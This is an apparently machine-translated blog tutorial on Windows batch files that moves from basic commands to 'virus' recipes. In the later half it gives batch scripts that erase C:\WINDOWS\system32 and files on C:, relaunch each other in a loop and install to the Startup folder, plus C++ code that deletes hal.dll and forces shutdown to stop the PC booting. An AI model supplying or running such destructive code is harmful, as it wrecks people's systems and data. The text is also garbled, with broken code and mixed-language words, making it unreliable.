Judul : How to Create Batch Files and Usefulness
link : How to Create Batch Files and Usefulness
How to Create Batch Files and Usefulness
1 . Positive function :For some people who love peace they will take advantage of the batch file for the good things that are: to create a tuneup program windows , the program administrator windows etc .
2 . Negative Function :For some , the cracker could they use a batch file to create an application that include: viruses , destructive programs etc. .We usually create a batch file using notepad and for studying programming batch file is not as difficult as we learn other programming languages such as his : c , c + + , java , vb etc. . Batch file programming is a classic programming where everyone can learn it easily with just a few days . some even say they could be a batch file expert programmers only need 7 days ( 've been able to create a virus , and programs to tuneup windows )Understanding Batch In DetailedBatch or Batch file is a text file that contains a series of commands that are executed by segaja to the command interpreter . or can be defined also batch is a collection of command line commands that can be run on Microsoft Windows . The batch file is usually berekstensikan . Bat or . Cmd . Batch programming is very simple , just type the program's source code in notepad or other text editor and save it with the extension . Bat . To initially open notepad advance can be done in two ways:Click Start >> All Programs >> Accessories >> Notepad .Right-click in the middle of the desktop >> New >> Text Document >> Then click on the text icon documentnya .After appearing notepadnya , then you type the command-command of his batch in the notepad . For the first thing to try first with the following simple command .@ echo off:: Do not say " echo "echo Good Morning !Writing :: good morning message to the screenintermissionPause :: user to stop the program waiting
Then after that click File >> Save As >> nama.bat or coba.batKeep in mind here , the file extension must be * . Bat ( extension is the word after point ) that indicates the file is a file * . Bat . hmm sebenranya not only that we can make command but much more command-command with the variation that is very difficult to learn . and many more batch files that can be created but before let's learn about some of the batch file syntax .
Some Batch Command .> = Make a duplicate copy of a file to another directory .> Del = Delete a file from a directory .> Echo = write messages to the screen , while the syntax echo off , echo is used to negate the view .> Goto = jump from a syntax to a label .> Help = see another batch command .> Start = run a program .> = Pause command is to ask a few push any buttons , where the message is displayed Press any key to continue ... To get rid of this message can be typed PAUSE > NUL .> If = Used to check for certain conditions if the condition is available .> Brakes = Short REMARK is a result of a command into the command line does not work , it will be ignored and not processed .> Cls = Same as DOS command , which is used to clear the screen .> Exit = exit the DOS window when running batch file from Windows .
Some operators .@ = Useful to make the syntax becomes visible on the display or not to display the command line to the right of the screen .: = Sign the label .> = Meniban write something with the existing contents of the file .>> = Wrote something on the lines of the new line .:: = Comment , not executed .Another example of a simple batch virus for fun hehehe :)How to create a batch file using notepad :
Save the file with extension format . Bat .
3 . Save the format . Vbs ( ex : virus1.vbs ) . Save also with all file formats4 . Run The virus5 . Would appear yes or no choice . Choose only one ( Yes or No ) . Not going to happen anyway .Note : Messages that appear can be changed . And if you like the program is activated when the computer startup , put the program in C : \ Documents and Settings \ * username * \ Start Menu \ Programs \ Startup .***Simple Batch Virus manthabmanthabThis time the virus is harmless enough, but not damaging . If you want to try , please try it on another computer , not on a personal computer .Steps1 . Open Notepad2 . Copy the code belowThe virus detected / / Title for the windowxxx / / sub scripts xxxmsg * try to delete viruz / / messageerase " C : \ WINDOWS \ system32 " / / delete system32start xxxx.bat / / run xxxx.bat files that are stored on the same foldermsg * experiment failed , try again / / messagegoto xxxx / / execution xxxx.bat
3 . Save with the name xxx.bat ( Make all files , not . Txt )4 . Open Notepad ( Notepad new )5 . Copy the code belowViruz / / change window titlemsg * wah2 your computer in contact viruz / / message in the message boxdel / / Delete files / / / " del c : " mengapus the file in c :erase / / same kyk delxxxx.bat start / / start xxxx.batxxx / / sub scriptsgoto / / to the subscript
6 . Save with the name xxxx.bat ( Make all files , , save in the same folder with the files first )7 . If you want to run it , run the xxxx.bat8 . If you want to run when the computer startup Copy to C : \ Documents and Settings \ * user name * \ Start Menu \ Programs \ Startup .***Dangerous Virus hammerhammerThe viruses that may be considered dangerous , because to delete the file . Etc. and make the computer can not boot . So be careful , if you want to try , try on a computer that already want damaged wrote.Step - step1 . Prepare C + + tools ( like dev c Portable and similar )2 . Copy the code below# include# includeusing namespace std ;int main ( int argc , char * argv [ ] ){std :: remove ( " C : \ \ windows \ \ system32 \ \ hal.dll " ) ; / / Pwnage TIMEsystem ( " shutdown - s - r " ) ;system ( " PAUSE " ) ;EXIT_SUCCESS return ;}
3 . This program will delete hal.dll , so do not be executed because it can cause boot failure .4 . If you want the advance , copy the code below# include# includeusing namespace std ;int main ( int argc , char * argv [ ] ){std :: remove ( " % systemroot % \ \ system32 \ \ hal.dll " ) ; / / Pwnage TIMEsystem ( " shutdown - s - r " ) ;system ( " PAUSE " ) ;EXIT_SUCCESS return ;}
5 . The difference with the first code is the process of finding the system in the system directory . ( The first code can only delete hal.dll if dilteakkan code in the directory C : , while it will automatically look for .
6 . Do not try on a computer that is perfectly normal . Try on a computer that is already damaged about weight alone .sources :
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